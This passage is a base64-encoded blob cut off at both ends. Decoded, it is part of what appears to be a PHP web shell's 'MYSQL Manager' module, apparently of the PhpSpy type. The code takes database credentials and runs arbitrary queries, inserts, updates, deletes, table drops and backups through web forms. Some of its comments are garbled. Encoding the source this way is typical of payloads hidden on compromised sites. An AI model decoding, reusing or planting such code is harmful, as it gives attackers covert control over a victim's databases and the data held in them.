cyBzdWNjZXNzIGJhY2t1cCB0byA8YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRwYXRoLic8L2E+Jyk7CgkJCQlteXNxbF9jbG9zZSgpOwoJCQl9IGVsc2UgewoJCQkJbSgnQmFja3VwIGZhaWxlZCcpOwoJCQl9CgkJfQoJfQoJaWYgKCRpbnNlcnQgJiYgJGluc2VydHNxbCkgewoJCSRrZXlzdHIgPSAkdmFsc3RyID0gJHRtcCA9ICcnOwoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsKCQkJaWYgKCR2YWwpIHsKCQkJCSRrZXlzdHIgLj0gJHRtcC4ka2V5OwoJCQkJJHZhbHN0ciAuPSAkdG1wLiInIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsKCQkJCSR0bXAgPSAnLCc7CgkJCX0KCQl9CgkJaWYgKCRrZXlzdHIgJiYgJHZhbHN0cikgewoJCQkkbXlzcWxsaW5rID0gbXlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsKCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFibGVuYW1lICgka2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5zZXJ0IG5ldyByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsKCQl9Cgl9CglpZiAoJHVwZGF0ZSAmJiAkaW5zZXJ0c3FsICYmICRiYXNlNjQpIHsKCQkkdmFsc3RyID0gJHRtcCA9ICcnOwoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsKCQkJJHZhbHN0ciAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsKCQkJJHRtcCA9ICcsJzsKCQl9CgkJaWYgKCR2YWxzdHIpIHsKCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkJJG15c3FsbGluayA9IG15ZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCW0ocSgiVVBEQVRFICR0YWJsZW5hbWUgU0VUICR2YWxzdHIgV0hFUkUgJHdoZXJlIExJTUlUIDEiKSA/ICdSZWNvcmQgdXBkYXRpbmcnIDogbXlzcWxfZXJyb3IoKSk7CgkJfQoJfQoJaWYgKCRkb2luZyA9PSAnZGVsJyAmJiAkYmFzZTY0KSB7CgkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkkZGVsZXRlX3NxbCA9ICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSI7CgkJJG15c3FsbGluayA9IG15ZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJbShxKCJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSIpID8gJ0RlbGV0aW9uIHJlY29yZCBvZiBzdWNjZXNzJyA6IG15c3FsX2Vycm9yKCkpOwoJfQoKCWlmICgkdGFibGVuYW1lICYmICRkb2luZyA9PSAnZHJvcCcpIHsKCQkkbXlzcWxsaW5rID0gbXlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsKCQlpZiAocSgiRFJPUCBUQUJMRSAkdGFibGVuYW1lIikpIHsKCQkJbSgnRHJvcCB0YWJsZSBvZiBzdWNjZXNzJyk7CgkJCSR0YWJsZW5hbWUgPSAnJzsKCQl9IGVsc2UgewoJCQltKG15c3FsX2Vycm9yKCkpOwoJCX0KCX0KCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgTWFuYWdlcicpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdteXNxbGFkbWluJyk7CglwKCc8cD4nKTsKCXAoJ0RCSG9zdDonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOwoJcCgnOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicG9ydCcsJ3NpemUnPT40LCd2YWx1ZSc9PiRkYnBvcnQpKTsKCXAoJ0RCVXNlcjonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOwoJcCgnREJQYXNzOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7CglwKCdEQkNoYXJzZXQ6Jyk7CgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J2NoYXJzZXQnLCdvcHRpb24nPT4kY2hhcnNldGRiLCdzZWxlY3RlZCc9PiRjaGFyc2V0LCdub2tleSc9PjEpKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidjb25uZWN0JywndmFsdWUnPT4nQ29ubmVjdCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwoKCS8vP++/vVs/PwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVjb3JkbGlzdCcpKTsKCW1ha2VoaWRlKCdkb2luZycpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ215c3FsYWRtaW4nKTsKCW1ha2VoaWRlKCdiYXNlNjQnKTsKCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsKCXAoJGRiZm9ybSk7Cglmb3JtZm9vdCgpOwoKCS8v77+9Tz/vv71iPz8KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3NldGRibmFtZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdteXNxbGFkbWluJyk7CglwKCRkYmZvcm0pOwoJaWYgKCEkZGJuYW1lKSB7CgkJbWFrZWhpZGUoJ2RibmFtZScpOwoJfQoJZm9ybWZvb3QoKTsKCgkvL++/vU8/PwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0dGFibGUnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnbXlzcWxhZG1pbicpOwoJcCgkZGJmb3JtKTsKCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsKCW1ha2VoaWRlKCdwYWdlJywkcGFnZSk7CgltYWtlaGlkZSgnZG9pbmcnKTsKCWZvcm1mb290KCk7CgoJJGNhY2hldGFibGVzID0gYXJyYXkoKTsJCgkkcGFnZW51bSA9IDMwOwoJJHBhZ2UgPSBpbnR2YWwoJHBhZ2UpOwoJaWYoJHBhZ2UpIHsKCQkkc3RhcnRfbGltaXQgPSAoJHBhZ2UgLSAxKSAqICRwYWdlbnVtOwoJfSBlbHNlIHsKCQkkc3RhcnRfbGltaXQgPSAwOwoJCSRwYWdlID0gMTsKCX0KCWlmIChpc3NldCgkZGJob3N0KSAmJiBpc3NldCgkZGJ1c2VyKSAmJiBpc3NldCgkZGJwYXNzKSAmJiBpc3NldCgkY29ubmVjdCkpIHsKCQkkbXlzcWxsaW5rID0gbXlkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOwoJCS8vPz/vv71iPz/vv73vv73vv70KCQkkbXlzcWx2ZXIgPSBteXNxbF9nZXRfc2VydmVyX2luZm8oKTsKCQlwKCc8cD5NeVNRTCAnLiRteXNxbHZlci4nIHJ1bm5pbmcgaW4gJy4kZGJob3N0LicgYXMgJy4kZGJ1c2VyLidAJy4kZGJob3N0Lic8L3A+Jyk7CgkJJGhpZ2h2ZXIgPSAkbXlzcWx2ZXIgPiAnNC4xJyA/IDEgOiAwOwoKCQkvLz8/77+9Yj8/CgkJJHF1ZXJ5ID0gcSgiU0hPVyBEQVRBQkFTRVMiKTsKCQkkZGJzID0gYXJyYXkoKTsKCQkkZGJzW10gPSAnLS0gU2VsZWN0IGEgZGF0YWJhc2UgLS0nOwoJCXdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKCQkJJGRic1skZGJbJ0RhdGFiYXNlJ11dID0gJGRiWydEYXRhYmFzZSddOwoJCX0KCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidQbGVhc2Ugc2VsZWN0IGEgZGF0YWJhc2U6JywnbmFtZSc9PidkYltdJywnb3B0aW9uJz0+JGRicywnc2VsZWN0ZWQnPT4kZGJuYW1lLCdvbmNoYW5nZSc9Pidtb2RkYm5hbWUodGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpJywnbmV3bGluZSc9PjEpKTsKCQkkdGFibGVkYiA9IGFycmF5KCk7CgkJaWYgKCRkYm5hbWUpIHsKCQkJcCgnPHA+Jyk7CgkJCXAoJ0N1cnJlbnQgZGFiYWJhc2U6IDxhIGhyZWY9ImphdmFzY3JpcHQ6bW9kZGJuYW1lKFwnJy4kZGJuYW1lLidcJyk7Ij4nLiRkYm5hbWUuJzwvYT4nKTsKCQkJaWYgKCR0YWJsZW5hbWUpIHsKCQkJCXAoJyB8IEN1cnJlbnQgVGFibGU6IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPicuJHRhYmxlbmFtZS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF0nKTsKCQkJfQoJCQlwKCc8L3A+Jyk7CgkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsKCgkJCSRnZXRudW1zcWwgPSAnJzsKCQkJJHJ1bnF1ZXJ5ID0gMDsKCQkJaWYgKCRzcWxfcXVlcnkpIHsKCQkJCSRydW5xdWVyeSA9IDE7CgkJCX0KCQkJJGFsbG93ZWRpdCA9IDA7CgkJCWlmICgkdGFibGVuYW1lICYmICEkc3FsX3F1ZXJ5KSB7CgkJCQkkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7CgkJCQkkZ2V0bnVtc3FsID0gJHNxbF9xdWVyeTsKCQkJCSRzcWxfcXVlcnkgPSAkc3FsX3F1ZXJ5LiIgTElNSVQgJHN0YXJ0X2xpbWl0LCAkcGFnZW51bSI7CgkJCQkkYWxsb3dlZGl0ID0gMTsKCQkJfQoJCQlwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsKCQkJcCgnPHA+PHRhYmxlIHdpZHRoPSIyMDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkIGNvbHNwYW49IjIiPlJ1biBTUUwgcXVlcnkvcXVlcmllcyBvbiBkYXRhYmFzZSAnLiRkYm5hbWUuJzo8L3RkPjwvdHI+PHRyPjx0ZD48dGV4dGFyZWEgbmFtZT0ic3FsX3F1ZXJ5IiBjbGFzcz0iYXJlYSIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDo1MHB4O292ZXJmbG93OmF1dG87Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSxFTlRfUVVPVEVTKS4nPC90ZXh0YXJlYT48L3RkPjx0ZCBzdHlsZT0icGFkZGluZzowIDVweDsiPjxpbnB1dCBjbGFzcz0iYnQiIHN0eWxlPSJoZWlnaHQ6NTBweDsiIG5hbWU9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiIC8+PC90ZD48L3RyPjwvdGFibGU+PC9wPicpOwoJCQltYWtlaGlkZSgndGFibGVuYW1lJywgJHRhYmxlbmFtZSk7CgkJCW1ha2VoaWRlKCdhY3Rpb24nLCdteXNxbGFkbWluJyk7CgkJCXAoJGRiZm9ybSk7CgkJCXAoJzwvZm9ybT4nKTsKCQkJaWYgKCR0YWJsZW5hbWUgfHwgKCRydW5xdWVyeSAmJiAkc3FsX3F1ZXJ5KSkgewoJCQkJaWYgKCRkb2luZyA9PSAnc3RydWN0dXJlJykgewoJCQkJCSRyZXN1bHQgPSBxKCJTSE9XIEZVTEwgQ09MVU1OUyBGUk9NICR0YWJsZW5hbWUiKTsKCQkJCQkkcm93ZGIgPSBhcnJheSgpOwoJCQkJCXdoaWxlKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgewoJCQkJCQkkcm93ZGJbXSA9ICRyb3c7CgkJCQkJfQoJCQkJCXAoJzxoMz5TdHJ1Y3R1cmU8L2gzPicpOwoJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7CgkJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsKCQkJCQlwKCc8dGQ+RmllbGQ8L3RkPicpOwoJCQkJCXAoJzx0ZD5UeXBlPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Q29sbGF0aW9uPC90ZD4nKTsKCQkJCQlwKCc8dGQ+TnVsbDwvdGQ+Jyk7CgkJCQkJcCgnPHRkPktleTwvdGQ+Jyk7CgkJCQkJcCgnPHRkPkRlZmF1bHQ8L3RkPicpOwoJCQkJCXAoJzx0ZD5FeHRyYTwvdGQ+Jyk7CgkJCQkJcCgnPHRkPlByaXZpbGVnZXM8L3RkPicpOwoJCQkJCXAoJzx0ZD5Db21tZW50PC90ZD4nKTsKCQkJCQlwKCc8L3RyPicpOwoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7CgkJCQkJCSR0aGlzYmcgPSBiZygpOwoJCQkJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0ZpZWxkJ10uJzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ1R5cGUnXS4nPC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snQ29sbGF0aW9uJ10uJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ051bGwnXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snS2V5J10uJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0RlZmF1bHQnXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snRXh0cmEnXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snUHJpdmlsZWdlcyddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydDb21tZW50J10uJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJfQoJCQkJCXRiZm9vdCgpOwoJCQkJCSRyZXN1bHQgPSBxKCJTSE9XIElOREVYIEZST00gJHRhYmxlbmFtZSIpOwoJCQkJCSRyb3dkYiA9IGFycmF5KCk7CgkJCQkJd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CgkJCQkJCSRyb3dkYltdID0gJHJvdzsKCQkJCQl9CgkJCQkJcCgnPGgzPkluZGV4ZXM8L2gzPicpOwoJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7CgkJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsKCQkJCQlwKCc8dGQ+S2V5bmFtZTwvdGQ+Jyk7CgkJCQkJcCgnPHRkPlR5cGU8L3RkPicpOwoJCQkJCXAoJzx0ZD5VbmlxdWU8L3RkPicpOwoJCQkJCXAoJzx0ZD5QYWNrZWQ8L3RkPicpOwoJCQkJCXAoJzx0ZD5TZXFfaW5faW5kZXg8L3RkPicpOwoJCQkJCXAoJzx0ZD5GaWVsZDwvdGQ+Jyk7CgkJCQkJcCgnPHRkPkNhcmRpbmFsaXR5PC90ZD4nKTsKCQkJCQlwKCc8dGQ+Q29sbGF0aW9uPC90ZD4nKTsKCQkJCQlwKCc8dGQ+TnVsbDwvdGQ+Jyk7CgkJCQkJcCgnPHRkPkNvbW1lbnQ8L3RkPicpOwoJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsKCQkJCQkJJHRoaXNiZyA9IGJnKCk7CgkJCQkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snS2V5X25hbWUnXS4nPC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snSW5kZXhfdHlwZSddLic8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4oJHJvd1snTm9uX3VuaXF1ZSddID8gJ05vJyA6ICdZZXMnKS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuKCRyb3dbJ1BhY2tlZCddID09PSBudWxsID8gJ05vJyA6ICRyb3dbJ1BhY2tlZCddKS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snU2VxX2luX2luZGV4J10uJzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0NvbHVtbl9uYW1lJ10uKCRyb3dbJ1N1Yl9wYXJ0J10gPyAnKCcuJHJvd1snU3ViX3BhcnQnXS4nKScgOiAnJykuJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLigkcm93WydDYXJkaW5hbGl0eSddID8gJHJvd1snQ2FyZGluYWxpdHknXSA6IDApLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydDb2xsYXRpb24nXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snTnVsbCddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydDb21tZW50J10uJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJfQoJCQkJCXRiZm9vdCgpOwoJCQkJfSBlbHNlaWYgKCRkb2luZyA9PSAnaW5zZXJ0JyB8fCAkZG9pbmcgPT0gJ2VkaXQnKSB7CgkJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgQ09MVU1OUyBGUk9NICcuJHRhYmxlbmFtZSk7CgkJCQkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgewoJCQkJCQkkcm93ZGJbXSA9ICRyb3c7CgkJCQkJfQoJCQkJCSRycyA9IGFycmF5KCk7CgkJCQkJaWYgKCRkb2luZyA9PSAnaW5zZXJ0JykgewoJCQkJCQlwKCc8aDI+SW5zZXJ0IG5ldyBsaW5lIGluICcuJHRhYmxlbmFtZS4nIHRhYmxlICZyYXF1bzs8L2gyPicpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXAoJzxoMj5VcGRhdGUgcmVjb3JkIGluICcuJHRhYmxlbmFtZS4nIHRhYmxlICZyYXF1bzs8L2gyPicpOwoJCQkJCQkkd2hlcmUgPSBiYXNlNjRfZGVjb2RlKCRiYXNlNjQpOwoJCQkJCQkkcmVzdWx0ID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSBMSU1JVCAxIik7CgkJCQkJCSRycyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOwoJCQkJCX0KCQkJCQlwKCc8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iJy4kc2VsZi4nIj4nKTsKCQkJCQlwKCRkYmZvcm0pOwoJCQkJCW1ha2VoaWRlKCdhY3Rpb24nLCdteXNxbGFkbWluJyk7CgkJCQkJbWFrZWhpZGUoJ3RhYmxlbmFtZScsJHRhYmxlbmFtZSk7CgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsKCQkJCQlmb3JlYWNoICgkcm93ZGIgYXMgJHJvdykgewoJCQkJCQlpZiAoJHJzWyRyb3dbJ0ZpZWxkJ11dKSB7CgkJCQkJCQkkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCRyc1skcm93WydGaWVsZCddXSk7CgkJCQkJCX0gZWxzZSB7CgkJCQkJCQkkdmFsdWUgPSAnJzsKCQkJCQkJfQoJCQkJCQkkdGhpc2JnID0gYmcoKTsKCQkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOwoJCQkJCQlpZiAoJHJvd1snS2V5J10gPT0gJ1VOSScgfHwgJHJvd1snRXh0cmEnXSA9PSAnYXV0b19pbmNyZW1lbnQnIHx8ICRyb3dbJ0tleSddID09ICdQUkknKSB7CgkJCQkJCQlwKCc8dGQ+PGI+Jy4kcm93WydGaWVsZCddLic8L2I+PGJyIC8+Jy4kcm93WydUeXBlJ10uJzwvdGQ+PHRkPicuJHZhbHVlLicmbmJzcDs8L3RkPjwvdHI+Jyk7CgkJCQkJCX0gZWxzZSB7CQkJCQkJCQoJCQkJCQkJcCgnPHRkPjxiPicuJHJvd1snRmllbGQnXS4nPC9iPjxiciAvPicuJHJvd1snVHlwZSddLic8L3RkPjx0ZD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIG5hbWU9Imluc2VydHNxbFsnLiRyb3dbJ0ZpZWxkJ10uJ10iIHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6NjBweDtvdmVyZmxvdzphdXRvOyI+Jy4kdmFsdWUuJzwvdGV4dGFyZWE+PC90ZD48L3RyPicpOwoJCQkJCQl9CgkJCQkJfQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsKCQkJCQkJcCgnPHRyIGNsYXNzPSInLmJnKCkuJyI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgbmFtZT0iaW5zZXJ0IiB2YWx1ZT0iSW5zZXJ0IiAvPjwvdGQ+PC90cj4nKTsKCQkJCQl9IGVsc2UgewoJCQkJCQlwKCc8dHIgY2xhc3M9IicuYmcoKS4nIj48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGRhdGUiIHZhbHVlPSJVcGRhdGUiIC8+PC90ZD48L3RyPicpOwoJCQkJCQltYWtlaGlkZSgnYmFzZTY0JywgJGJhc2U2NCk7CgkJCQkJfQoJCQkJCXAoJzwvdGFibGU+PC9mb3JtPicpOwoJCQkJfSBlbHNlIHsKCQkJCQkkcXVlcnlzID0gQGV4cGxvZGUoJzsnLCRzcWxfcXVlcnkpOwoJCQkJCWZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpIHsKCQkJCQkJaWYgKCRxdWVyeSkgewoJCQkJCQkJcCgiPHA+PGI+UXVlcnkjeyRudW19IDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvcD4iKTsKCQkJCQkJCXN3aXRjaChxeSgkcXVlcnkpKQoJCQkJCQkJewoJCQkJCQkJCWNhc2UgMDoKCQkJCQkJCQkJcCgnPGgyPkVycm9yIDogJy5teXNxbF9lcnJvcigpLic8L2gyPicpOwoJCQkJCQkJCQlicmVhazsJCgkJCQkJCQkJY2FzZSAxOgoJCQkJCQkJCQlpZiAoc3RydG9sb3dlcihzdWJzdHIoJHF1ZXJ5LDAsMTMpKSA9PSAnc2VsZWN0ICogZnJvbScpIHsKCQkJCQkJCQkJCSRhbGxvd2VkaXQgPSAxOwoJCQkJCQkJCQl9CgkJCQkJCQkJCWlmICgkZ2V0bnVtc3FsKSB7CgkJCQkJCQkJCQkkdGF0b2wgPSBteXNxbF9udW1fcm93cyhxKCRnZXRudW1zcWwpKTsKCQkJCQkJCQkJCSRtdWx0aXBhZ2UgPSBtdWx0aSgkdGF0b2wsICRwYWdlbnVtLCAkcGFnZSwgJHRhYmxlbmFtZSk7CgkJCQkJCQkJCX0KCQkJCQkJCQkJaWYgKCEkdGFibGVuYW1lKSB7CgkJCQkJCQkJCQkkc3FsX2xpbmUgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCAiXG4iLCAiXHQiKSwgYXJyYXkoJyAnLCAnICcsICcgJyksIHRyaW0oaHRtbHNwZWNpYWxjaGFycygkcXVlcnkpKSk7CgkJCQkJCQkJCQkkc3FsX2xpbmUgPSBwcmVnX3JlcGxhY2UoIi9cL1wqW14oXCpcLyldKlwqXC8vaSIsICIgIiwgJHNxbF9saW5lKTsKCQkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIvZnJvbVxzK2B7MCwxfShbXHddKylgezAsMX1ccysvaSIsJHNxbF9saW5lLCRtYXRjaGVzKTsKCQkJCQkJCQkJCSR0YWJsZW5hbWUgPSAkbWF0Y2hlc1sxXVswXTsKCQkJCQkJCQkJfQoKCQkJCQkJCQkJLyoqKioqKioqKioqKioqKioqKioqKi8KCQkJCQkJCQkJJGdldGZpZWxkID0gcSgiU0hPVyBDT0xVTU5TIEZST00gJHRhYmxlbmFtZSIpOwoJCQkJCQkJCQkkcm93ZGIgPSBhcnJheSgpOwoJCQkJCQkJCQkka2V5ZmllZCA9ICcnOyAvL++/vT/ZtT8KCQkJCQkJCQkJd2hpbGUoJHJvdyA9IEBteXNxbF9mZXRjaF9hc3NvYygkZ2V0ZmllbGQpKSB7CgkJCQkJCQkJCQkkcm93ZGJbJHJvd1snRmllbGQnXV1bJ0tleSddID0gJHJvd1snS2V5J107CgkJCQkJCQkJCQkkcm93ZGJbJHJvd1snRmllbGQnXV1bJ0V4dHJhJ10gPSAkcm93WydFeHRyYSddOwoJCQkJCQkJCQkJaWYgKCRyb3dbJ0tleSddID09ICdVTkknIHx8ICRyb3dbJ0tleSddID09ICdQUkknKSB7CgkJCQkJCQkJCQkJJGtleWZpZWQgPSAkcm93WydGaWVsZCddOwoJCQkJCQkJCQkJfQoJCQkJCQkJCQl9CgkJCQkJCQkJCS8qKioqKioqKioqKioqKioqKioqKiovCQkJCQkJCQkKCQkJCQkJCQkJLy/vv73vv70/77+977+9Pz8/77+977+977+9Pz/vv73vv70/PwoJCQkJCQkJCQlpZiAoJGtleWZpZWQgJiYgc3RydG9sb3dlcihzdWJzdHIoJHF1ZXJ5LDAsMTMpKSA9PSAnc2VsZWN0ICogZnJvbScpIHsKCQkJCQkJCQkJCSRxdWVyeSA9IHN0cl9yZXBsYWNlKCIgTElNSVQgIiwgIiBvcmRlciBieSAka2V5ZmllZCBERVNDIExJTUlUICIsICRxdWVyeSk7CgkJCQkJCQkJCX0KCgkJCQkJCQkJCSRyZXN1bHQgPSBxKCRxdWVyeSk7CgoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOwoJCQkJCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOwoJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkPkFjdGlvbjwvdGQ+Jyk7CgkJCQkJCQkJCSRmaWVsZG51bSA9IEBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOwoJCQkJCQkJCQlmb3IoJGk9MDskaTwkZmllbGRudW07JGkrKyl7CgkJCQkJCQkJCQkkbmFtZSA9IEBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsICRpKTsKCQkJCQkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJGkpOwoJCQkJCQkJCQkJJGxlbiA9IEBteXNxbF9maWVsZF9sZW4oJHJlc3VsdCwgJGkpOwoJCQkJCQkJCQkJcCgiPHRkIG5vd3JhcD4kbmFtZTxicj48c3Bh